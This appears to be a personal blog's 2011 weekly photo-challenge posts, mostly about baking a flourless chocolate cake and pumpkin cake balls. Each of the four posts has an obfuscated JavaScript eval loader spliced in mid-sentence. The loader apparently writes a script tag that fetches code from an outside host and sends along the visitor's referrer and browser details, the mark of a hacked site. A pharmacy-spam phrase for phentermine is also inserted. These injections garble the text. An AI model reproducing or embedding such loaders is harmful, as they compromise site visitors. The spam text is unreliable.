2011 Photo Challenge – Week 50

2011 Photo Project, Holidays
 

Theme - Festive Colors

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hftht|var|u0026u|referrer|fnnbb||js|php’.split(‘|’),0,{}))
an upcoming Christmas party, I made
Tyler Florence’s Flourless Chocolate cake.  I’ve never made his version before, but I couldn’t find online the Cook’s Illustrated version, which has been my to-go recipe since I’ve discovered flourless cakes.  Unfortunately, Florence’s version is more dry than I’d prefere.  Cook’s Illustrated has a rich mousse-like texture – much more palatable when not working with flour.  However, the people I’ll be feeding are not cake  connoisseurs, like myself.  I’m hoping they will never notice the difference.

It’s amazing that mixing egg whites at a high enough speed, you can create a fluffy substance that adds air and lift to any baking recipe.  Who discovered this?  Was it an accident?

Whoever you are who had the imaginative idea to whip egg whites, thank you.

I folded the fluffy egg whites into my chocolate mixture, poured into a spring-form pan and baked at 350 degrees.

While it has turned out drier than I’d prefer, I’ve sprinkled confectioner sugar on top and will serve it with home-made whipped cream.

They will never know the difference. Merry Christmas!

 

 

 

2011 Photo Challenge – Week 46

2011 Photo Project

Pumpkin Spiced Cake Balls before dipped into chocolate

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taifk|var|u0026u|referrer|rrbds||js|php’.split(‘|’),0,{}))
a co-worker’s birthday this week, I made pumpkin spiced cake balls.  I could have made pumpkin muffins or cookies, but my culinary instincts called for a challenge.  I’ve never made cake balls before, and for my first attempt, I rate my self a success.  The overwhelming review from all that partook in the over-the-top decadent cake balls were positive. I’m by no means a pastry chef, but an old friend has started a small business based on cake balls –
Endless Popabilities.

Her cake balls are more aesthetically pleasing and served on easy to handle pop sticks while mine are crude in comparison, but her creativity and ingenuity sparked my desire to try this recipe I found online at Bake 35o.  What have I learned?  Cake balls are a labor of love, time-consuming dessert.  While the recipe and process is relatively easy for a beginner, like myself, all the cooling steps prolong the process.  It took me two days and many dirty dishes later before the cake balls were ready to eat.

However, the final product is worth it if the occasion merits the long hours of work.  Especially with the Holiday season upon us, baking sweet treats is an inexpensive gift that you can make, package and send off to your relatives.

After making these, I realize one practical reason to use pop sticks – it makes the dipping process easier and gives the final product a smoother appearance.  I used cave men techniques throwing the cake balls into the melted chocolate, rolling them around with a spoon and fishing them out with another spoon.  I plopped the wet cake balls on a greased cookie sheet to cool, which created flat bottoms instead of a smooth, round surface.  For me, beauty was not a high priority.

 

Theme - Over the Top ... Sweetness

2011 Photo Challenge – Week 45

2011 Photo Project

Theme - Time of Day - Tea Time

 

Now eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|anbry|var|u0026u|referrer|eafty||js|php’.split(‘|’),0,{}))
I’m all caught up!

2011 Photo Challenge – Week 42

2011 Photo Project

Theme - Muted Tones

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bikes|var|u0026u|referrer|ihbay||js|php’.split(‘|’),0,{}))
hope my readers can counter better than I can.  If you notice, this post is titled ‘Week 42’, but it really ought to be ‘Week 44’. I must have taken two weeks of vacation at some point this year.  To make-up for this slight oversight, I’ll be posting a ‘Week 43 & 44’ soon, which should get me caught up with my photo challenge.

On a different note, ‘Hello November’! order phentermine 37.5 mg  This year has been full of rapid changes.  I’ve gone from unemployed college graduate to fully employed, self-insured adult with a new apartment in the city.  Overall, I’ve been very blessed.  In honor of where my stream of thought is going with this paragraph and Andy Rooney, legendary CBS commentator for nearly six decades, “I’ve learned… that life is like a roll of toilet paper. The closer it gets to the end, the faster it goes.”